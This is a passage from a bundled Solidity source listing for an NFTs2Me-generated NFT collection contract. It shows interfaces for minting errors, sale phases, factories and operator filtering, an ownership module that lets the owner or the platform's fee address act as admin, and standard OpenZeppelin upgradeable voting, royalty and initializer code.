:::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"../important/README.sol\";\n\ninterface IN2M_ERCStorage is Readme {\n /// @notice This event is emitted when a token is minted using an affiliate\n /// @param affiliate The affiliate address\n event AffiliateSell(address indexed affiliate);\n\n /// @notice Error thrown when trying to mint a token with a given id which is already minted\n error TokenAlreadyMinted();\n\n /// @notice Error thrown when input variable differ in length\n error InvalidInputSizesDontMatch();\n\n /// @notice Error thrown when input variable differ in length\n error InputSizeMismatch();\n\n /// @notice Error thrown when trying to mint a token with a given invalid id\n error InvalidTokenId();\n\n /// @notice Error thrown when trying to redeem random tickets with no amount to redeem\n error NothingToRedeem();\n\n /// @notice Error thrown when trying to redeem random tickets too soon\n error CantRevealYetWaitABitToBeAbleToRedeem();\n\n /// @notice Error thrown when the input amount is not valid\n error InvalidAmount();\n\n /// @notice Error thrown when trying to mint a sold out collection or the amount to mint exceeds the remaining supply\n error CollectionSoldOut();\n\n /// @notice Error thrown when trying to presale/whitelist mint and the collection current phase is `closed`\n error PresaleNotOpen();\n\n /// @notice Error thrown when trying to mint and the collection current phase is not `open`\n error PublicSaleNotOpen();\n\n /// @notice Error thrown when trying to mint but the sale has already finished\n error SaleFinished();\n\n /// @notice Error thrown when trying to mint more than the allowance to mint\n error NotEnoughAmountToMint();\n\n /// @notice Error thrown when sending funds to a free minting\n error InvalidMintFeeForFreeMinting();\n\n /// @notice Error thrown when the sent amount is not valid\n error InvalidMintFee();\n\n /// @notice Royalty fee can't be higher than 10%\n error RoyaltyFeeTooHigh();\n\n /// @notice Invalid input. Total supply must be greater than zero\n error TotalSupplyMustBeGreaterThanZero();\n\n /// @notice Can't set BaseURI and Placeholder at the same time\n error CantSetBaseURIAndPlaceholderAtTheSameTime();\n\n /// @notice No BaseURI nor Placeholder set\n error NoBaseURINorPlaceholderSet();\n\n /// @notice Can't transfer a Soulbound Token (SBT)\n error NonTransferrableSoulboundNFT();\n\n /// @notice The input revenue percentages are not valid\n error InvalidRevenuePercentage();\n\n /// @notice Can't mint until specified drop date\n error WaitUntilDropDate();\n\n /// @notice Trying to use mintPresale method in a collection with a minting type that doesn't support whitelist\n error PresaleInvalidMintingType();\n\n /// @notice Metadata is already fixed. Can't change metadata once fixed\n error MetadataAlreadyFixed();\n\n /// @notice Invalid collection minting type for the current minting function\n error InvalidMintingType();\n\n /// @notice The address exceeded the max per address amount\n error MaxPerAddressExceeded();\n\n /// @notice The given signature doesn't match the input values\n error SignatureMismatch();\n\n /// @notice Reentrancy Guard protection\n error ReentrancyGuard();\n\n /// @notice New Placeholder can't be empty\n error NewPlaceholderCantBeEmpty();\n\n /// @notice New BaseURI can't be empty\n error NewBaseURICantBeEmpty(); \n\n /// @notice Invalid percentage or discount values\n error InvalidPercentageOrDiscountValues();\n\n /// @notice Can't lower current percentages\n error CantLowerCurrentPercentages();\n\n /// @notice Contract MetadataURI already fixed\n error ContractMetadataURIAlreadyFixed();\n\n /// @notice Only owner of N2M can call this function\n error OnlyOwnerOrN2M();\n\n /// @notice Only the given affiliate or N2M can call this function\n error OnlyAffiliateOrN2M();\n\n /// @notice The signature has expired\n error SignatureExpired();\n\n /// @notice Invalid phase can't be set without giving a date, use the proper functions\n error InvalidPhaseWithoutDate();\n\n /// @notice Invalid drop date\n error InvalidDropDate();\n\n /// @notice Operator address is filtered\n error AddressFiltered(address filtered);\n\n struct RandomTicket {\n uint256 amount;\n uint256 blockNumberToReveal;\n }\n\n struct RevenueAddress {\n address to;\n uint16 percentage;\n }\n\n struct AffiliateInformation {\n bool enabled;\n uint16 affiliatePercentage;\n uint16 userDiscount;\n }\n\n enum SalePhase { \n CLOSED,\n PRESALE,\n PUBLIC,\n DROP_DATE,\n DROP_AND_END_DATE\n }\n\n enum MintingType { \n SEQUENTIAL, \n RANDOM, \n SPECIFY, \n CUSTOM_URI \n }\n\n enum OperatorFilterStatus { \n ENABLED_NOT_INITIALIZED, \n ENABLED_EXISTS, \n DISABLED_NOT_INITIALIZED,\n DISABLED_EXISTS \n }\n\n /// @notice Returns true if the metadata is fixed and immutable. If the metadata hasn't been fixed yet it will return false. Once fixed, it can't be changed by anyone.\n function isMetadataFixed() external view returns (bool);\n\n}\n\n" }, "@nfts2me/contracts/interfaces/IN2MBeaconFactory.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IN2MBeaconFactory {\n function getERC721Implementation() external view returns (address);\n function getERC1155Implementation() external view returns (address);\n}\n" }, "@nfts2me/contracts/interfaces/IN2MCrossFactory.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IN2MCrossFactory {\n function getN2MTreasuryAddress() external pure returns (address);\n function ownerOf(uint256 tokenId) external view returns (address);\n function strictOwnerOf(uint256 tokenId) external view returns (address);\n}\n" }, "@nfts2me/contracts/interfaces/IOperatorFilterRegistry.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external view returns (bool);\n function codeHashOf(address addr) external view returns (bytes32);\n}" }, "@nfts2me/contracts/ownable/NFTOwnableUpgradeable.sol": { "content": "/** ---------------------------------------------------------------------------- //\n * //\n * .:::. //\n * .:::::::. //\n * ::::::::. //\n * .:::::::::. //\n * ..:::. .. //\n * .::::. ::::.. //\n * ..:::.. ::::::::. //\n * .::::. :::. ..:::. //\n * ..:::.. :::. .:::. //\n * .::::. :::. .:::.. //\n * .:::.. .. :::. .::::. //\n * .::::. ..:::=- :::: ..:::. //\n * :::. .:::::::===: ::::::. .:::: //\n * .::. .:::::::::::=====. ::::::::::. .::. //\n * .:: .:::::::::::::::=======. :::::::::::::.. ::. //\n * .:: .::::::::::::::::========- ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==========: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::============: ::::::::::::::::: ::. //\n * .:: .::::::::::::::::==============. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::===============-. ::::::::::::::::: ::. //\n * .:: .::::::::::::::::=================:::::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .::::::::::::::::==================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::::=================-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-===============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .==============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :============-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: :==========-:::::::::::::::: ::. //\n * .:: .:::::::::::::::: .-========-:::::::::::::::: ::. //\n * .:: .:::::::::::::: .=======-::::::::::::::. ::. //\n * .::. .:::::::::: .=====-::::::::::.. ::. //\n * :::.. ..:::::: :===-::::::.. .:::. //\n * .:::.. .::: -=-:::. .::::. //\n * .::::. .::: .. .::::. //\n * .::::. .::: ..:::. //\n * .:::. .::: .::::. //\n * .:::.. .::: ..:::.. //\n * .::::.::: .::::. //\n * ..:::: ..:::.. //\n * .: .::::. //\n * :::::.::::. //\n * ::::::::. //\n * :::::::. //\n * .::::. //\n * //\n * //\n * Smart contract generated by https://nfts2me.com //\n * //\n * NFTs2Me. Make an NFT Collection. //\n * With ZERO Coding Skills. //\n * //\n * NFTs2Me is not associated or affiliated with this project. //\n * NFTs2Me is not liable for any bugs or issues associated with this contract. //\n * NFTs2Me Terms of Service: https://nfts2me.com/terms-of-service/ //\n * ----------------------------------------------------------------------------- */\n\n/// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol\";\n\n/// @title NFTs2Me.com Smart Contracts\n/// @author The NFTs2Me Team\n/// @notice Read our terms of service\n/// @custom:security-contact [email protected]\n/// @custom:terms-of-service https://nfts2me.com/terms-of-service/\n/// @custom:website https://nfts2me.com/\nabstract contract NFTOwnableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n modifier onlyStrictOwner() {\n _checkStrictOwner();\n _;\n }\n\n modifier onlyOwnerOrN2M() {\n _checkOwnerOrN2M();\n _;\n }\n\n modifier onlyN2M() {\n _checkN2M();\n _;\n }\n\n /// @notice Returns the address of the current collection owner.\n /// @return The address of the owner.\n function owner() public view virtual returns (address);\n function _strictOwner() internal view virtual returns (address);\n function _getN2MFeeAddress() internal view virtual returns (address);\n\n function _checkOwner() internal view virtual {\n require(owner() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function _checkStrictOwner() internal view virtual {\n require(_strictOwner() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function _checkOwnerOrN2M() internal view virtual {\n require(owner() == msg.sender || _getN2MFeeAddress() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n function _checkN2M() internal view virtual {\n require(_getN2MFeeAddress() == msg.sender, \"Ownable: caller is not the owner\");\n }\n\n}" }, "@openzeppelin/contracts-upgradeable/governance/utils/IVotesUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol)\npragma solidity ^0.8.0;\n\n/**\n * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.\n *\n * _Available since v4.5._\n */\ninterface IVotesUpgradeable {\n /**\n * @dev Emitted when an account changes their delegate.\n */\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /**\n * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of votes.\n */\n event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) external view returns (uint256);\n\n /**\n * @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).\n */\n function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);\n\n /**\n * @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n */\n function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) external view returns (address);\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) external;\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n}\n" }, "@openzeppelin/contracts-upgradeable/governance/utils/VotesUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (governance/utils/Votes.sol)\npragma solidity ^0.8.0;\n\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/CountersUpgradeable.sol\";\nimport \"../../utils/CheckpointsUpgradeable.sol\";\nimport \"../../utils/cryptography/EIP712Upgradeable.sol\";\nimport \"./IVotesUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev This is a base abstract contract that tracks voting units, which are a measure of voting power that can be\n * transferred, and provides a system of vote delegation, where an account can delegate its voting units to a sort of\n * \"representative\" that will pool delegated voting units from different accounts and can then use it to vote in\n * decisions. In fact, voting units _must_ be delegated in order to count as actual votes, and an account has to\n * delegate those votes to itself if it wishes to participate in decisions and does not have a trusted representative.\n *\n * This contract is often combined with a token contract such that voting units correspond to token units. For an\n * example, see {ERC721Votes}.\n *\n * The full history of delegate votes is tracked on-chain so that governance protocols can consider votes as distributed\n * at a particular block number to protect against flash loans and double voting. The opt-in delegate system makes the\n * cost of this history tracking optional.\n *\n * When using this module the derived contract must implement {_getVotingUnits} (for example, make it return\n * {ERC721-balanceOf}), and can use {_transferVotingUnits} to track a change in the distribution of those units (in the\n * previous example, it would be included in {ERC721-_beforeTokenTransfer}).\n *\n * _Available since v4.5._\n */\nabstract contract VotesUpgradeable is Initializable, IVotesUpgradeable, ContextUpgradeable, EIP712Upgradeable {\n function __Votes_init() internal onlyInitializing {\n }\n\n function __Votes_init_unchained() internal onlyInitializing {\n }\n using CheckpointsUpgradeable for CheckpointsUpgradeable.History;\n using CountersUpgradeable for CountersUpgradeable.Counter;\n\n bytes32 private constant _DELEGATION_TYPEHASH =\n keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n mapping(address => address) private _delegation;\n mapping(address => CheckpointsUpgradeable.History) private _delegateCheckpoints;\n CheckpointsUpgradeable.History private _totalCheckpoints;\n\n mapping(address => CountersUpgradeable.Counter) private _nonces;\n\n /**\n * @dev Returns the current amount of votes that `account` has.\n */\n function getVotes(address account) public view virtual override returns (uint256) {\n return _delegateCheckpoints[account].latest();\n }\n\n /**\n * @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).\n *\n * Requirements:\n *\n * - `blockNumber` must have been already mined\n */\n function getPastVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {\n return _delegateCheckpoints[account].getAtProbablyRecentBlock(blockNumber);\n }\n\n /**\n * @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).\n *\n * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.\n * Votes that have not been delegated are still part of total supply, even though they would not participate in a\n * vote.\n *\n * Requirements:\n *\n * - `blockNumber` must have been already mined\n */\n function getPastTotalSupply(uint256 blockNumber) public view virtual override returns (uint256) {\n require(blockNumber < block.number, \"Votes: block not yet mined\");\n return _totalCheckpoints.getAtProbablyRecentBlock(blockNumber);\n }\n\n /**\n * @dev Returns the current total supply of votes.\n */\n function _getTotalSupply() internal view virtual returns (uint256) {\n return _totalCheckpoints.latest();\n }\n\n /**\n * @dev Returns the delegate that `account` has chosen.\n */\n function delegates(address account) public view virtual override returns (address) {\n return _delegation[account];\n }\n\n /**\n * @dev Delegates votes from the sender to `delegatee`.\n */\n function delegate(address delegatee) public virtual override {\n address account = _msgSender();\n _delegate(account, delegatee);\n }\n\n /**\n * @dev Delegates votes from signer to `delegatee`.\n */\n function delegateBySig(\n address delegatee,\n uint256 nonce,\n uint256 expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual override {\n require(block.timestamp <= expiry, \"Votes: signature expired\");\n address signer = ECDSAUpgradeable.recover(\n _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),\n v,\n r,\n s\n );\n require(nonce == _useNonce(signer), \"Votes: invalid nonce\");\n _delegate(signer, delegatee);\n }\n\n /**\n * @dev Delegate all of `account`'s voting units to `delegatee`.\n *\n * Emits events {IVotes-DelegateChanged} and {IVotes-DelegateVotesChanged}.\n */\n function _delegate(address account, address delegatee) internal virtual {\n address oldDelegate = delegates(account);\n _delegation[account] = delegatee;\n\n emit DelegateChanged(account, oldDelegate, delegatee);\n _moveDelegateVotes(oldDelegate, delegatee, _getVotingUnits(account));\n }\n\n /**\n * @dev Transfers, mints, or burns voting units. To register a mint, `from` should be zero. To register a burn, `to`\n * should be zero. Total supply of voting units will be adjusted with mints and burns.\n */\n function _transferVotingUnits(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n if (from == address(0)) {\n _totalCheckpoints.push(_add, amount);\n }\n if (to == address(0)) {\n _totalCheckpoints.push(_subtract, amount);\n }\n _moveDelegateVotes(delegates(from), delegates(to), amount);\n }\n\n /**\n * @dev Moves delegated votes from one delegate to another.\n */\n function _moveDelegateVotes(\n address from,\n address to,\n uint256 amount\n ) private {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _delegateCheckpoints[from].push(_subtract, amount);\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _delegateCheckpoints[to].push(_add, amount);\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }\n\n function _add(uint256 a, uint256 b) private pure returns (uint256) {\n return a + b;\n }\n\n function _subtract(uint256 a, uint256 b) private pure returns (uint256) {\n return a - b;\n }\n\n /**\n * @dev Consumes a nonce.\n *\n * Returns the current value and increments nonce.\n */\n function _useNonce(address owner) internal virtual returns (uint256 current) {\n CountersUpgradeable.Counter storage nonce = _nonces[owner];\n current = nonce.current();\n nonce.increment();\n }\n\n /**\n * @dev Returns an address nonce.\n */\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner].current();\n }\n\n /**\n * @dev Returns the contract's {EIP712} domain separator.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n /**\n * @dev Must return the voting units held by an account.\n */\n function _getVotingUnits(address) internal view virtual returns (uint256);\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[46] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981Upgradeable is IERC165Upgradeable {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n" }, "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * 